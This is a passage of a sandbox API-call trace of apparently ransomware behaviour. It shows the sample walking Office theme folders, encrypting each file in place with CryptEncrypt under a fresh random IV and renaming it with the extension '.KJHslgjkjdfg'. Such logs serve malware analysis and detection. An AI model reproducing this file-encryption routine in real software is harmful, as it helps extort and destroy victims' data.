lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.935] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.937] CloseHandle (hObject=0x114) returned 1 [0171.937] GetProcessHeap () returned 0x2ef0000 [0171.937] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.937] GetProcessHeap () returned 0x2ef0000 [0171.937] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.937] GetProcessHeap () returned 0x2ef0000 [0171.937] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.937] GetProcessHeap () returned 0x2ef0000 [0171.937] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.937] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.938] GetProcessHeap () returned 0x2ef0000 [0171.938] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.938] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0171.938] GetProcessHeap () returned 0x2ef0000 [0171.938] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0171.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.941] GetProcessHeap () returned 0x2ef0000 [0171.941] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0171.941] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.942] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0171.942] GetProcessHeap () returned 0x2ef0000 [0171.942] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f3e278 [0171.942] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.942] GetProcessHeap () returned 0x2ef0000 [0171.942] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.942] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.942] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.942] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x6, lpOverlapped=0x0) returned 1 [0171.948] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.948] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.948] GetProcessHeap () returned 0x2ef0000 [0171.948] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.949] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.949] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.949] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.949] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.949] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.949] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.949] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.949] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.949] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.949] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xeafa, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xeafa, lpOverlapped=0x0) returned 1 [0171.963] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xeb00, dwBufLen=0xeb00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xeb00) returned 1 [0171.964] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.964] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xeb00, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xeb00, lpOverlapped=0x0) returned 1 [0171.965] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.965] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xebd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.965] SetEndOfFile (hFile=0x114) returned 1 [0171.968] GetProcessHeap () returned 0x2ef0000 [0171.968] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.968] GetProcessHeap () returned 0x2ef0000 [0171.968] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.968] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm.kjhslgjkjdfg")) returned 1 [0171.995] CloseHandle (hObject=0x114) returned 1 [0171.995] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0171.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.996] GetProcessHeap () returned 0x2ef0000 [0171.996] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.996] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.996] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0172.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.028] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.028] GetProcessHeap () returned 0x2ef0000 [0172.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.028] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.029] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.029] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.029] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.029] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.029] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.029] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.029] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.029] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.030] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x254, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x254, lpOverlapped=0x0) returned 1 [0172.030] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260, dwBufLen=0x260 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x260) returned 1 [0172.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.030] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x260, lpOverlapped=0x0) returned 1 [0172.030] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.030] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.030] SetEndOfFile (hFile=0x114) returned 1 [0172.033] GetProcessHeap () returned 0x2ef0000 [0172.033] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.033] GetProcessHeap () returned 0x2ef0000 [0172.033] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.kjhslgjkjdfg")) returned 1 [0172.055] CloseHandle (hObject=0x114) returned 1 [0172.055] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.056] GetProcessHeap () returned 0x2ef0000 [0172.056] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.056] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.056] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0172.059] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.059] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.059] GetProcessHeap () returned 0x2ef0000 [0172.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.059] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.059] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.059] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.060] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.060] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.060] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.060] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.060] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.060] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.060] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd97, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xd97, lpOverlapped=0x0) returned 1 [0172.061] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xda0, dwBufLen=0xda0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xda0) returned 1 [0172.064] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.064] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xda0, lpOverlapped=0x0) returned 1 [0172.065] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.065] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.065] SetEndOfFile (hFile=0x114) returned 1 [0172.068] GetProcessHeap () returned 0x2ef0000 [0172.068] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.068] GetProcessHeap () returned 0x2ef0000 [0172.068] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.068] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.069] CloseHandle (hObject=0x114) returned 1 [0172.069] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.070] GetProcessHeap () returned 0x2ef0000 [0172.070] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.070] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.070] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x3, lpOverlapped=0x0) returned 1 [0172.091] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.091] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.091] GetProcessHeap () returned 0x2ef0000 [0172.092] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.092] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0172.092] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.092] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0172.092] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.092] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.092] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: 